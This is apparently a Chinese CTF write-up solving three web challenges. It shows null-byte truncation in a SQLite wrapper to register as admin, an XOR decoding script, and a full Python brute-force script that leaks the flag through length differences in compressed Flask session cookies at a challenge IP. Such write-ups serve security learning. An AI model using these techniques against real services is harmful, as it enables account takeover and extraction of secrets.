目錄
arclbroth
lucky-flag
whack-a-mole
arclbroth
看到username為admin能拿到flag
但不能重復注冊存在的用戶
?
這題是secure-sqlite這個庫的問題,底層用的是C,沒處理好\0字符截斷的問題
(在 Node.js 中,由于其字符串表示方式,字符串可能包含空字節。然而,在 C 語言中,字符串以空字節終止。)
?
?插入數據庫的時候只會保留\0前的admin
?
帶著這個session去訪問
成功截斷
?
lucky-flag
很夸張了
看下main.js,發現flag的加密邏輯
讓gpt寫個腳本解一下
?
import json# 原始加密字符串
enc = r'"\u000e\u0003\u0001\u0016\u0004\u0019\u0015V\u0011=\u000bU=\u000e\u0017\u0001\t=R\u0010=\u0011\t\u000bSS\u001f"'# 1. 解析 JSON(類似 JavaScript 的 JSON.parse)
parsed = json.loads(enc)# 2. 對每個字符進行 XOR 0x62 運算
rw = []
for c in parsed:xor_result = ord(c) ^ 0x62 # ord() 獲取 Unicode 碼點rw.append(xor_result)# 3. 將 ASCII 碼轉換為字符并拼接
flag = ''.join([chr(x) for x in rw])print(f"Flag: {flag}")
whack-a-mole
password 是 Flag的變形(每個字符ASCII碼 + funny_num mod 128)
要求username等于變形后的password
考察flask的session機制
客戶端 session 導致的安全問題 | 離別歌?
flask生成的session會對相同字符串進行zlip壓縮(這里則是username為password的子串時)
通過session長度差異進行側信道攻擊
爆破腳本
import string
import requests# 目標網站基礎URL
BASE_URL = "http://27.25.151.98:10001/"# 可能的flag字符(字母、數字、花括號、下劃線)
ALLOWED_CHARS = string.ascii_letters + string.digits + "{}_"# 隨機填充字符串,用于調整cookie長度
RANDOM_PADDING = "q3aUrDpfmRzMzABTCILvXCOA3Us"# 創建一個會話對象,維持登錄狀態
session = requests.Session()def get_session_length(guess_username):"""提交用戶名猜測,返回加密后的session cookie長度"""response = session.post(BASE_URL.rstrip("/") + "/login",data={"username": guess_username, "funny": "0"},allow_redirects=False,)encrypted_session = session.cookies["session"]return len(encrypted_session)def construct_guess(current_prefix, test_char, padding_length):"""構造猜測字符串:重復 (current_prefix + test_char) + 填充"""repeated_guess = (current_prefix + test_char) * 16 # 16次重復以提高壓縮率padded_guess = repeated_guess + RANDOM_PADDING[:padding_length]return padded_guessdef find_next_char(current_flag_prefix):"""嘗試找出下一個正確的flag字符"""for padding in range(16): # 嘗試不同的填充長度(0-15)char_results = []for char in ALLOWED_CHARS:guess = construct_guess(current_flag_prefix, char, padding)session_length = get_session_length(guess)char_results.append((session_length, char))# 按session長度排序,最短的可能包含flag片段char_results.sort()# 如果最短長度的字符唯一,則認為是正確的if char_results[0][0] != char_results[1][0]:return char_results[0][1], paddingreturn None, None # 如果沒有找到,返回Nonedef main():current_flag = "lac" # 初始已知的flag前綴best_padding = 0 # 記錄當前最優的填充長度while "}" not in current_flag: # 直到flag結束(以 } 結尾)next_char, best_padding = find_next_char(current_flag)if next_char is None:print("無法找到下一個字符!")breakcurrent_flag += next_charprint(current_flag) # 輸出當前flag猜測if __name__ == "__main__":main()